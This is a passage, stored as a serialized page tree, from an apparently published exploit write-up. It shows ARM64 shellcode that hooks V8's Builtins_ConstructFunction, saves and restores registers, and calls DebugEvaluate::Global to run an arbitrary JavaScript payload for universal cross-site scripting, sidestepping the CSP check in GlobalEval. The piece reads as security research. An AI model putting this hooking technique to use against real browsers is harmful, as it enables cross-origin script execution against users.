",{"type":24,"tag":156,"props":142533,"children":142535},{"className":142534},[],[142536],{"type":30,"value":141896},{"type":30,"value":142538}," to execute our XSS payload. Its prologue looks like this:",{"type":24,"tag":920,"props":142540,"children":142542},{"code":142541,"language":141949,"meta":7,"className":141950,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[142543],{"type":24,"tag":156,"props":142544,"children":142545},{"__ignoreMap":7},[142546,142553,142560,142568,142576,142584,142592,142600,142608,142616,142624,142632,142640,142648,142656,142664,142672,142680,142688],{"type":24,"tag":930,"props":142547,"children":142548},{"class":932,"line":933},[142549],{"type":24,"tag":930,"props":142550,"children":142551},{},[142552],{"type":30,"value":142429},{"type":24,"tag":930,"props":142554,"children":142555},{"class":932,"line":984},[142556],{"type":24,"tag":930,"props":142557,"children":142558},{"emptyLinePlaceholder":16},[142559],{"type":30,"value":2412},{"type":24,"tag":930,"props":142561,"children":142562},{"class":932,"line":993},[142563],{"type":24,"tag":930,"props":142564,"children":142565},{},[142566],{"type":30,"value":142567},"// Save full register context\n",{"type":24,"tag":930,"props":142569,"children":142570},{"class":932,"line":1057},[142571],{"type":24,"tag":930,"props":142572,"children":142573},{},[142574],{"type":30,"value":142575},"stp x0,  x1,  [sp, #-16]!\n",{"type":24,"tag":930,"props":142577,"children":142578},{"class":932,"line":1066},[142579],{"type":24,"tag":930,"props":142580,"children":142581},{},[142582],{"type":30,"value":142583},"stp x2,  x3,  [sp, #-16]!\n",{"type":24,"tag":930,"props":142585,"children":142586},{"class":932,"line":1075},[142587],{"type":24,"tag":930,"props":142588,"children":142589},{},[142590],{"type":30,"value":142591},"stp x4,  x5,  [sp, #-16]!\n",{"type":24,"tag":930,"props":142593,"children":142594},{"class":932,"line":1122},[142595],{"type":24,"tag":930,"props":142596,"children":142597},{},[142598],{"type":30,"value":142599},"stp x6,  x7,  [sp, #-16]!\n",{"type":24,"tag":930,"props":142601,"children":142602},{"class":932,"line":1131},[142603],{"type":24,"tag":930,"props":142604,"children":142605},{},[142606],{"type":30,"value":142607},"stp x8,  x9,  [sp, #-16]!\n",{"type":24,"tag":930,"props":142609,"children":142610},{"class":932,"line":1144},[142611],{"type":24,"tag":930,"props":142612,"children":142613},{},[142614],{"type":30,"value":142615},"stp x10, x11, [sp, #-16]!\n",{"type":24,"tag":930,"props":142617,"children":142618},{"class":932,"line":1169},[142619],{"type":24,"tag":930,"props":142620,"children":142621},{},[142622],{"type":30,"value":142623},"stp x12, x13, [sp, #-16]!\n",{"type":24,"tag":930,"props":142625,"children":142626},{"class":932,"line":1191},[142627],{"type":24,"tag":930,"props":142628,"children":142629},{},[142630],{"type":30,"value":142631},"stp x14, x15, [sp, #-16]!\n",{"type":24,"tag":930,"props":142633,"children":142634},{"class":932,"line":1223},[142635],{"type":24,"tag":930,"props":142636,"children":142637},{},[142638],{"type":30,"value":142639},"stp x16, x17, [sp, #-16]!\n",{"type":24,"tag":930,"props":142641,"children":142642},{"class":932,"line":1281},[142643],{"type":24,"tag":930,"props":142644,"children":142645},{},[142646],{"type":30,"value":142647},"stp x18, x19, [sp, #-16]!\n",{"type":24,"tag":930,"props":142649,"children":142650},{"class":932,"line":1313},[142651],{"type":24,"tag":930,"props":142652,"children":142653},{},[142654],{"type":30,"value":142655},"stp x20, x21, [sp, #-16]!\n",{"type":24,"tag":930,"props":142657,"children":142658},{"class":932,"line":1335},[142659],{"type":24,"tag":930,"props":142660,"children":142661},{},[142662],{"type":30,"value":142663},"stp x22, x23, [sp, #-16]!\n",{"type":24,"tag":930,"props":142665,"children":142666},{"class":932,"line":1376},[142667],{"type":24,"tag":930,"props":142668,"children":142669},{},[142670],{"type":30,"value":142671},"stp x24, x25, [sp, #-16]!\n",{"type":24,"tag":930,"props":142673,"children":142674},{"class":932,"line":1418},[142675],{"type":24,"tag":930,"props":142676,"children":142677},{},[142678],{"type":30,"value":142679},"stp x26, x27, [sp, #-16]!\n",{"type":24,"tag":930,"props":142681,"children":142682},{"class":932,"line":1438},[142683],{"type":24,"tag":930,"props":142684,"children":142685},{},[142686],{"type":30,"value":142687},"stp x28, x29, [sp, #-16]!\n",{"type":24,"tag":930,"props":142689,"children":142690},{"class":932,"line":1479},[142691],{"type":24,"tag":930,"props":142692,"children":142693},{},[142694],{"type":30,"value":142695},"str lr, [sp, #-16]!\n",{"type":24,"tag":33,"props":142697,"children":142698},{},[142699],{"type":30,"value":142700},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":24,"tag":33,"props":142702,"children":142703},{},[142704,142706,142711],{"type":30,"value":142705},"The epilogue restores all saved registers, restores the original instructions in ",{"type":24,"tag":156,"props":142707,"children":142709},{"className":142708},[],[142710],{"type":30,"value":141896},{"type":30,"value":142712},", and then returns execution to its beginning:",{"type":24,"tag":920,"props":142714,"children":142716},{"code":142715,"language":141949,"meta":7,"className":141950,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[142717],{"type":24,"tag":156,"props":142718,"children":142719},{"__ignoreMap":7},[142720,142728,142736,142744,142752,142760,142767,142774,142782,142789,142796,142804,142812,142820,142828,142836,142844,142852,142860,142868,142876,142884,142892,142900,142908,142916,142924,142931,142939,142947,142955,142963,142971,142978,142986,142994,143001],{"type":24,"tag":930,"props":142721,"children":142722},{"class":932,"line":933},[142723],{"type":24,"tag":930,"props":142724,"children":142725},{},[142726],{"type":30,"value":142727},"// restore original instructions of Builtins_ConstructFunction\n",{"type":24,"tag":930,"props":142729,"children":142730},{"class":932,"line":984},[142731],{"type":24,"tag":930,"props":142732,"children":142733},{},[142734],{"type":30,"value":142735},"ldr lr, [sp], #16\n",{"type":24,"tag":930,"props":142737,"children":142738},{"class":932,"line":993},[142739],{"type":24,"tag":930,"props":142740,"children":142741},{},[142742],{"type":30,"value":142743},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":24,"tag":930,"props":142745,"children":142746},{"class":932,"line":1057},[142747],{"type":24,"tag":930,"props":142748,"children":142749},{},[142750],{"type":30,"value":142751},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":24,"tag":930,"props":142753,"children":142754},{"class":932,"line":1066},[142755],{"type":24,"tag":930,"props":142756,"children":142757},{},[142758],{"type":30,"value":142759},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":24,"tag":930,"props":142761,"children":142762},{"class":932,"line":1075},[142763],{"type":24,"tag":930,"props":142764,"children":142765},{"emptyLinePlaceholder":16},[142766],{"type":30,"value":2412},{"type":24,"tag":930,"props":142768,"children":142769},{"class":932,"line":1122},[142770],{"type":24,"tag":930,"props":142771,"children":142772},{},[142773],{"type":30,"value":142302},{"type":24,"tag":930,"props":142775,"children":142776},{"class":932,"line":1131},[142777],{"type":24,"tag":930,"props":142778,"children":142779},{},[142780],{"type":30,"value":142781},"mov x0, lr\n",{"type":24,"tag":930,"props":142783,"children":142784},{"class":932,"line":1144},[142785],{"type":24,"tag":930,"props":142786,"children":142787},{},[142788],{"type":30,"value":142318},{"type":24,"tag":930,"props":142790,"children":142791},{"class":932,"line":1169},[142792],{"type":24,"tag":930,"props":142793,"children":142794},{"emptyLinePlaceholder":16},[142795],{"type":30,"value":2412},{"type":24,"tag":930,"props":142797,"children":142798},{"class":932,"line":1191},[142799],{"type":24,"tag":930,"props":142800,"children":142801},{},[142802],{"type":30,"value":142803},"// restore original registers\n",{"type":24,"tag":930,"props":142805,"children":142806},{"class":932,"line":1223},[142807],{"type":24,"tag":930,"props":142808,"children":142809},{},[142810],{"type":30,"value":142811},"ldp x28, x29, [sp], #16\n",{"type":24,"tag":930,"props":142813,"children":142814},{"class":932,"line":1281},[142815],{"type":24,"tag":930,"props":142816,"children":142817},{},[142818],{"type":30,"value":142819},"ldp x26, x27, [sp], #16\n",{"type":24,"tag":930,"props":142821,"children":142822},{"class":932,"line":1313},[142823],{"type":24,"tag":930,"props":142824,"children":142825},{},[142826],{"type":30,"value":142827},"ldp x24, x25, [sp], #16\n",{"type":24,"tag":930,"props":142829,"children":142830},{"class":932,"line":1335},[142831],{"type":24,"tag":930,"props":142832,"children":142833},{},[142834],{"type":30,"value":142835},"ldp x22, x23, [sp], #16\n",{"type":24,"tag":930,"props":142837,"children":142838},{"class":932,"line":1376},[142839],{"type":24,"tag":930,"props":142840,"children":142841},{},[142842],{"type":30,"value":142843},"ldp x20, x21, [sp], #16\n",{"type":24,"tag":930,"props":142845,"children":142846},{"class":932,"line":1418},[142847],{"type":24,"tag":930,"props":142848,"children":142849},{},[142850],{"type":30,"value":142851},"ldp x18, x19, [sp], #16\n",{"type":24,"tag":930,"props":142853,"children":142854},{"class":932,"line":1438},[142855],{"type":24,"tag":930,"props":142856,"children":142857},{},[142858],{"type":30,"value":142859},"ldp x16, x17, [sp], #16\n",{"type":24,"tag":930,"props":142861,"children":142862},{"class":932,"line":1479},[142863],{"type":24,"tag":930,"props":142864,"children":142865},{},[142866],{"type":30,"value":142867},"ldp x14, x15, [sp], #16\n",{"type":24,"tag":930,"props":142869,"children":142870},{"class":932,"line":1506},[142871],{"type":24,"tag":930,"props":142872,"children":142873},{},[142874],{"type":30,"value":142875},"ldp x12, x13, [sp], #16\n",{"type":24,"tag":930,"props":142877,"children":142878},{"class":932,"line":1525},[142879],{"type":24,"tag":930,"props":142880,"children":142881},{},[142882],{"type":30,"value":142883},"ldp x10, x11, [sp], #16\n",{"type":24,"tag":930,"props":142885,"children":142886},{"class":932,"line":1569},[142887],{"type":24,"tag":930,"props":142888,"children":142889},{},[142890],{"type":30,"value":142891},"ldp x8,  x9,  [sp], #16\n",{"type":24,"tag":930,"props":142893,"children":142894},{"class":932,"line":1592},[142895],{"type":24,"tag":930,"props":142896,"children":142897},{},[142898],{"type":30,"value":142899},"ldp x6,  x7,  [sp], #16\n",{"type":24,"tag":930,"props":142901,"children":142902},{"class":932,"line":1610},[142903],{"type":24,"tag":930,"props":142904,"children":142905},{},[142906],{"type":30,"value":142907},"ldp x4,  x5,  [sp], #16\n",{"type":24,"tag":930,"props":142909,"children":142910},{"class":932,"line":1628},[142911],{"type":24,"tag":930,"props":142912,"children":142913},{},[142914],{"type":30,"value":142915},"ldp x2,  x3,  [sp], #16\n",{"type":24,"tag":930,"props":142917,"children":142918},{"class":932,"line":1637},[142919],{"type":24,"tag":930,"props":142920,"children":142921},{},[142922],{"type":30,"value":142923},"ldp x0,  x1,  [sp], #16\n",{"type":24,"tag":930,"props":142925,"children":142926},{"class":932,"line":1646},[142927],{"type":24,"tag":930,"props":142928,"children":142929},{"emptyLinePlaceholder":16},[142930],{"type":30,"value":2412},{"type":24,"tag":930,"props":142932,"children":142933},{"class":932,"line":1673},[142934],{"type":24,"tag":930,"props":142935,"children":142936},{},[142937],{"type":30,"value":142938},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":24,"tag":930,"props":142940,"children":142941},{"class":932,"line":1692},[142942],{"type":24,"tag":930,"props":142943,"children":142944},{},[142945],{"type":30,"value":142946},"// it immediately, so we can clobber and use it as a return register.\n",{"type":24,"tag":930,"props":142948,"children":142949},{"class":932,"line":1730},[142950],{"type":24,"tag":930,"props":142951,"children":142952},{},[142953],{"type":30,"value":142954},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":24,"tag":930,"props":142956,"children":142957},{"class":932,"line":1762},[142958],{"type":24,"tag":930,"props":142959,"children":142960},{},[142961],{"type":30,"value":142962},"// where to return\n",{"type":24,"tag":930,"props":142964,"children":142965},{"class":932,"line":1775},[142966],{"type":24,"tag":930,"props":142967,"children":142968},{},[142969],{"type":30,"value":142970},"mov x4, lr\n",{"type":24,"tag":930,"props":142972,"children":142973},{"class":932,"line":1825},[142974],{"type":24,"tag":930,"props":142975,"children":142976},{"emptyLinePlaceholder":16},[142977],{"type":30,"value":2412},{"type":24,"tag":930,"props":142979,"children":142980},{"class":932,"line":1834},[142981],{"type":24,"tag":930,"props":142982,"children":142983},{},[142984],{"type":30,"value":142985},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":24,"tag":930,"props":142987,"children":142988},{"class":932,"line":1843},[142989],{"type":24,"tag":930,"props":142990,"children":142991},{},[142992],{"type":30,"value":142993},"ldp x15, lr, [sp], #16\n",{"type":24,"tag":930,"props":142995,"children":142996},{"class":932,"line":1851},[142997],{"type":24,"tag":930,"props":142998,"children":142999},{"emptyLinePlaceholder":16},[143000],{"type":30,"value":2412},{"type":24,"tag":930,"props":143002,"children":143003},{"class":932,"line":1919},[143004],{"type":24,"tag":930,"props":143005,"children":143006},{},[143007],{"type":30,"value":143008},"ret x4\n",{"type":24,"tag":33,"props":143010,"children":143011},{},[143012,143014,143019,143021,143026,143028,143034],{"type":30,"value":143013},"At this point, we have successfully hooked ",{"type":24,"tag":156,"props":143015,"children":143017},{"className":143016},[],[143018],{"type":30,"value":141896},{"type":30,"value":143020}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":24,"tag":156,"props":143022,"children":143024},{"className":143023},[],[143025],{"type":30,"value":142412},{"type":30,"value":143027}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":24,"tag":156,"props":143029,"children":143031},{"className":143030},[],[143032],{"type":30,"value":143033},"Builtins_GlobalEval",{"type":30,"value":436},{"type":24,"tag":33,"props":143036,"children":143037},{},[143038,143043,143045,143050,143052,143057],{"type":24,"tag":156,"props":143039,"children":143041},{"className":143040},[],[143042],{"type":30,"value":143033},{"type":30,"value":143044}," takes a single ",{"type":24,"tag":156,"props":143046,"children":143048},{"className":143047},[],[143049],{"type":30,"value":51016},{"type":30,"value":143051}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":24,"tag":156,"props":143053,"children":143055},{"className":143054},[],[143056],{"type":30,"value":40636},{"type":30,"value":476},{"type":24,"tag":920,"props":143059,"children":143061},{"code":143060,"language":32203,"meta":7,"className":32201,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[143062],{"type":24,"tag":156,"props":143063,"children":143064},{"__ignoreMap":7},[143065,143078,143085,143092,143135,143157,143183],{"type":24,"tag":930,"props":143066,"children":143067},{"class":932,"line":933},[143068,143073],{"type":24,"tag":930,"props":143069,"children":143070},{"style":1002},[143071],{"type":30,"value":143072},"BUILTIN",{"type":24,"tag":930,"props":143074,"children":143075},{"style":959},[143076],{"type":30,"value":143077},"(GlobalEval) {\n",{"type":24,"tag":930,"props":143079,"children":143080},{"class":932,"line":984},[143081],{"type":24,"tag":930,"props":143082,"children":143083},{"style":959},[143084],{"type":30,"value":129581},{"type":24,"tag":930,"props":143086,"children":143087},{"class":932,"line":993},[143088],{"type":24,"tag":930,"props":143089,"children":143090},{"emptyLinePlaceholder":16},[143091],{"type":30,"value":2412},{"type":24,"tag":930,"props":143093,"children":143094},{"class":932,"line":1057},[143095,143100,143105,143109,143114,143118,143122,143126,143131],{"type":24,"tag":930,"props":143096,"children":143097},{"style":959},[143098],{"type":30,"value":143099},"  if (!Builtins::",{"type":24,"tag":930,"props":143101,"children":143102},{"style":943},[143103],{"type":30,"value":143104},"AllowDynamicFunction",{"type":24,"tag":930,"props":143106,"children":143107},{"style":959},[143108],{"type":30,"value":1010},{"type":24,"tag":930,"props":143110,"children":143111},{"style":943},[143112],{"type":30,"value":143113},"isolate",{"type":24,"tag":930,"props":143115,"children":143116},{"style":959},[143117],{"type":30,"value":962},{"type":24,"tag":930,"props":143119,"children":143120},{"style":943},[143121],{"type":30,"value":117506},{"type":24,"tag":930,"props":143123,"children":143124},{"style":959},[143125],{"type":30,"value":962},{"type":24,"tag":930,"props":143127,"children":143128},{"style":943},[143129],{"type":30,"value":143130},"target_global_proxy",{"type":24,"tag":930,"props":143132,"children":143133},{"style":959},[143134],{"type":30,"value":4542},{"type":24,"tag":930,"props":143136,"children":143137},{"class":932,"line":1066},[143138,143143,143147,143152],{"type":24,"tag":930,"props":143139,"children":143140},{"style":1023},[143141],{"type":30,"value":143142},"    isolate",{"type":24,"tag":930,"props":143144,"children":143145},{"style":959},[143146],{"type":30,"value":16864},{"type":24,"tag":930,"props":143148,"children":143149},{"style":1002},[143150],{"type":30,"value":143151},"CountUsage",{"type":24,"tag":930,"props":143153,"children":143154},{"style":959},[143155],{"type":30,"value":143156},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":24,"tag":930,"props":143158,"children":143159},{"class":932,"line":1075},[143160,143164,143169,143174,143179],{"type":24,"tag":930,"props":143161,"children":143162},{"style":1079},[143163],{"type":30,"value":20090},{"type":24,"tag":930,"props":143165,"children":143166},{"style":1002},[143167],{"type":30,"value":143168}," ReadOnlyRoots",{"type":24,"tag":930,"props":143170,"children":143171},{"style":959},[143172],{"type":30,"value":143173},"(isolate).",{"type":24,"tag":930,"props":143175,"children":143176},{"style":1002},[143177],{"type":30,"value":143178},"undefined_value",{"type":24,"tag":930,"props":143180,"children":143181},{"style":959},[143182],{"type":30,"value":1310},{"type":24,"tag":930,"props":143184,"children":143185},{"class":932,"line":1122},[143186],{"type":24,"tag":930,"props":143187,"children":143188},{"style":959},[143189],{"type":30,"value":8984},{"type":24,"tag":33,"props":143191,"children":143192},{},[143193,143195,143200],{"type":30,"value":143194},"This means we would need to patch the function further to ensure it never enters this ",{"type":24,"tag":156,"props":143196,"children":143198},{"className":143197},[],[143199],{"type":30,"value":18683},{"type":30,"value":143201}," block.",{"type":24,"tag":33,"props":143203,"children":143204},{},[143205],{"type":30,"value":143206},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":24,"tag":920,"props":143208,"children":143210},{"code":143209,"language":32203,"meta":7,"className":32201,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[143211],{"type":24,"tag":156,"props":143212,"children":143213},{"__ignoreMap":7},[143214,143225,143232,143239,143246,143254,143266,143274,143291,143321,143329,143341],{"type":24,"tag":930,"props":143215,"children":143216},{"class":932,"line":933},[143217,143221],{"type":24,"tag":930,"props":143218,"children":143219},{"style":1002},[143220],{"type":30,"value":143072},{"type":24,"tag":930,"props":143222,"children":143223},{"style":959},[143224],{"type":30,"value":143077},{"type":24,"tag":930,"props":143226,"children":143227},{"class":932,"line":984},[143228],{"type":24,"tag":930,"props":143229,"children":143230},{"emptyLinePlaceholder":16},[143231],{"type":30,"value":2412},{"type":24,"tag":930,"props":143233,"children":143234},{"class":932,"line":993},[143235],{"type":24,"tag":930,"props":143236,"children":143237},{"style":959},[143238],{"type":30,"value":129581},{"type":24,"tag":930,"props":143240,"children":143241},{"class":932,"line":1057},[143242],{"type":24,"tag":930,"props":143243,"children":143244},{"emptyLinePlaceholder":16},[143245],{"type":30,"value":2412},{"type":24,"tag":930,"props":143247,"children":143248},{"class":932,"line":1066},[143249],{"type":24,"tag":930,"props":143250,"children":143251},{"style":959},[143252],{"type":30,"value":143253},"  DirectHandle\u003CJSFunction> function;\n",{"type":24,"tag":930,"props":143255,"children":143256},{"class":932,"line":1075},[143257,143262],{"type":24,"tag":930,"props":143258,"children":143259},{"style":1002},[143260],{"type":30,"value":143261},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":24,"tag":930,"props":143263,"children":143264},{"style":959},[143265],{"type":30,"value":2814},{"type":24,"tag":930,"props":143267,"children":143268},{"class":932,"line":1122},[143269],{"type":24,"tag":930,"props":143270,"children":143271},{"style":959},[143272],{"type":30,"value":143273},"      isolate, function,\n",{"type":24,"tag":930,"props":143275,"children":143276},{"class":932,"line":1131},[143277,143282,143287],{"type":24,"tag":930,"props":143278,"children":143279},{"style":959},[143280],{"type":30,"value":143281},"      Compiler::",{"type":24,"tag":930,"props":143283,"children":143284},{"style":1002},[143285],{"type":30,"value":143286},"GetFunctionFromValidatedString",{"type":24,"tag":930,"props":143288,"children":143289},{"style":959},[143290],{"type":30,"value":2814},{"type":24,"tag":930,"props":143292,"children":143293},{"class":932,"line":1144},[143294,143299,143303,143307,143311,143316],{"type":24,"tag":930,"props":143295,"children":143296},{"style":1002},[143297],{"type":30,"value":143298},"          direct_handle",{"type":24,"tag":930,"props":143300,"children":143301},{"style":959},[143302],{"type":30,"value":1010},{"type":24,"tag":930,"props":143304,"children":143305},{"style":1023},[143306],{"type":30,"value":117506},{"type":24,"tag":930,"props":143308,"children":143309},{"style":959},[143310],{"type":30,"value":16864},{"type":24,"tag":930,"props":143312,"children":143313},{"style":1002},[143314],{"type":30,"value":143315},"native_context",{"type":24,"tag":930,"props":143317,"children":143318},{"style":959},[143319],{"type":30,"value":143320},"(), isolate), source,\n",{"type":24,"tag":930,"props":143322,"children":143323},{"class":932,"line":1169},[143324],{"type":24,"tag":930,"props":143325,"children":143326},{"style":959},[143327],{"type":30,"value":143328},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":24,"tag":930,"props":143330,"children":143331},{"class":932,"line":1191},[143332,143337],{"type":24,"tag":930,"props":143333,"children":143334},{"style":1002},[143335],{"type":30,"value":143336},"  RETURN_RESULT_OR_FAILURE",{"type":24,"tag":930,"props":143338,"children":143339},{"style":959},[143340],{"type":30,"value":2814},{"type":24,"tag":930,"props":143342,"children":143343},{"class":932,"line":1223},[143344,143349,143354],{"type":24,"tag":930,"props":143345,"children":143346},{"style":959},[143347],{"type":30,"value":143348},"      isolate, Execution::",{"type":24,"tag":930,"props":143350,"children":143351},{"style":1002},[143352],{"type":30,"value":143353},"Call",{"type":24,"tag":930,"props":143355,"children":143356},{"style":959},[143357],{"type":30,"value":143358},"(isolate, function, target_global_proxy, {}));\n",{"type":24,"tag":33,"props":143360,"children":143361},{},[143362,143364,143369,143371,143377,143379,143385,143387,143393],{"type":30,"value":143363},"But determining the correct ",{"type":24,"tag":156,"props":143365,"children":143367},{"className":143366},[],[143368],{"type":30,"value":117506},{"type":30,"value":143370}," value, obtaining ",{"type":24,"tag":156,"props":143372,"children":143374},{"className":143373},[],[143375],{"type":30,"value":143376},"target->native_context()",{"type":30,"value":143378},", and locating the ",{"type":24,"tag":156,"props":143380,"children":143382},{"className":143381},[],[143383],{"type":30,"value":143384},"direct_handle",{"type":30,"value":143386}," function, just to make a proper call to ",{"type":24,"tag":156,"props":143388,"children":143390},{"className":143389},[],[143391],{"type":30,"value":143392},"Compiler::GetFunctionFromValidatedString",{"type":30,"value":143394},", seemed unnecessarily cumbersome.",{"type":24,"tag":33,"props":143396,"children":143397},{},[143398,143400,143406],{"type":30,"value":143399},"Instead, we found a much simpler option with no security checks: ",{"type":24,"tag":156,"props":143401,"children":143403},{"className":143402},[],[143404],{"type":30,"value":143405},"DebugEvaluate::Global",{"type":30,"value":143407},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":24,"tag":33,"props":143409,"children":143410},{},[143411],{"type":30,"value":143412},"For our needs, it is straightforward to call:",{"type":24,"tag":920,"props":143414,"children":143416},{"code":143415,"language":32203,"meta":7,"className":32201,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[143417],{"type":24,"tag":156,"props":143418,"children":143419},{"__ignoreMap":7},[143420,143468,143497,143518],{"type":24,"tag":930,"props":143421,"children":143422},{"class":932,"line":933},[143423,143428,143432,143436,143441,143446,143450,143455,143459,143464],{"type":24,"tag":930,"props":143424,"children":143425},{"style":943},[143426],{"type":30,"value":143427},"MaybeDirectHandle",{"type":24,"tag":930,"props":143429,"children":143430},{"style":959},[143431],{"type":30,"value":1350},{"type":24,"tag":930,"props":143433,"children":143434},{"style":943},[143435],{"type":30,"value":51940},{"type":24,"tag":930,"props":143437,"children":143438},{"style":959},[143439],{"type":30,"value":143440},"> DebugEvaluate::",{"type":24,"tag":930,"props":143442,"children":143443},{"style":1002},[143444],{"type":30,"value":143445},"Global",{"type":24,"tag":930,"props":143447,"children":143448},{"style":959},[143449],{"type":30,"value":1010},{"type":24,"tag":930,"props":143451,"children":143452},{"style":943},[143453],{"type":30,"value":143454},"Isolate",{"type":24,"tag":930,"props":143456,"children":143457},{"style":937},[143458],{"type":30,"value":1410},{"type":24,"tag":930,"props":143460,"children":143461},{"style":1023},[143462],{"type":30,"value":143463}," isolate",{"type":24,"tag":930,"props":143465,"children":143466},{"style":959},[143467],{"type":30,"value":2832},{"type":24,"tag":930,"props":143469,"children":143470},{"class":932,"line":984},[143471,143476,143480,143484,143488,143493],{"type":24,"tag":930,"props":143472,"children":143473},{"style":943},[143474],{"type":30,"value":143475},"                                                Handle",{"type":24,"tag":930,"props":143477,"children":143478},{"style":959},[143479],{"type":30,"value":1350},{"type":24,"tag":930,"props":143481,"children":143482},{"style":943},[143483],{"type":30,"value":51016},{"type":24,"tag":930,"props":143485,"children":143486},{"style":959},[143487],{"type":30,"value":8933},{"type":24,"tag":930,"props":143489,"children":143490},{"style":1023},[143491],{"type":30,"value":143492},"source",{"type":24,"tag":930,"props":143494,"children":143495},{"style":959},[143496],{"type":30,"value":2832},{"type":24,"tag":930,"props":143498,"children":143499},{"class":932,"line":993},[143500,143505,143510,143514],{"type":24,"tag":930,"props":143501,"children":143502},{"style":959},[143503],{"type":30,"value":143504},"                                                debug::",{"type":24,"tag":930,"props":143506,"children":143507},{"style":943},[143508],{"type":30,"value":143509},"EvaluateGlobalMode",{"type":24,"tag":930,"props":143511,"children":143512},{"style":1023},[143513],{"type":30,"value":4410},{"type":24,"tag":930,"props":143515,"children":143516},{"style":959},[143517],{"type":30,"value":2832},{"type":24,"tag":930,"props":143519,"children":143520},{"class":932,"line":1057},[143521,143526,143531],{"type":24,"tag":930,"props":143522,"children":143523},{"style":943},[143524],{"type":30,"value":143525},"                                                REPLMode",{"type":24,"tag":930,"props":143527,"children":143528},{"style":1023},[143529],{"type":30,"value":143530}," repl_mode",{"type":24,"tag":930,"props":143532,"children":143533},{"style":959},[143534],{"type":30,"value":1278},{"type":24,"tag":33,"props":143536,"children":143537},{},[143538,143540,143545,143547,143552,143554,143559,143561,143567,143568,143574],{"type":30,"value":143539},"We must supply the ",{"type":24,"tag":156,"props":143541,"children":143543},{"className":143542},[],[143544],{"type":30,"value":143113},{"type":30,"value":143546}," pointer, a ",{"type":24,"tag":156,"props":143548,"children":143550},{"className":143549},[],[143551],{"type":30,"value":51016},{"type":30,"value":143553}," object containing our XSS payload as ",{"type":24,"tag":156,"props":143555,"children":143557},{"className":143556},[],[143558],{"type":30,"value":143492},{"type":30,"value":143560},", and the ",{"type":24,"tag":156,"props":143562,"children":143564},{"className":143563},[],[143565],{"type":30,"value":143566},"mode",{"type":30,"value":211},{"type":24,"tag":156,"props":143569,"children":143571},{"className":143570},[],[143572],{"type":30,"value":143573},"repl_mode",{"type":30,"value":143575}," values, which are simple enum literals.",{"type":24,"tag":33,"props":143577,"children":143578},{},[143579,143581,143586,143588,143594,143596,143601,143603,143608,143610,143616,143618,143624,143626,143631,143633,143638,143640,143645,143647,143652],{"type":30,"value":143580},"To obtain the ",{"type":24,"tag":156,"props":143582,"children":143584},{"className":143583},[],[143585],{"type":30,"value":143113},{"type":30,"value":143587}," pointer within our shellcode, we call ",{"type":24,"tag":156,"props":143589,"children":143591},{"className":143590},[],[143592],{"type":30,"value":143593},"Isolate::TryGetCurrent()",{"type":30,"value":143595},", which returns the current ",{"type":24,"tag":156,"props":143597,"children":143599},{"className":143598},[],[143600],{"type":30,"value":143113},{"type":30,"value":143602},". To construct a valid ",{"type":24,"tag":156,"props":143604,"children":143606},{"className":143605},[],[143607],{"type":30,"value":51016},{"type":30,"value":143609}," object holding 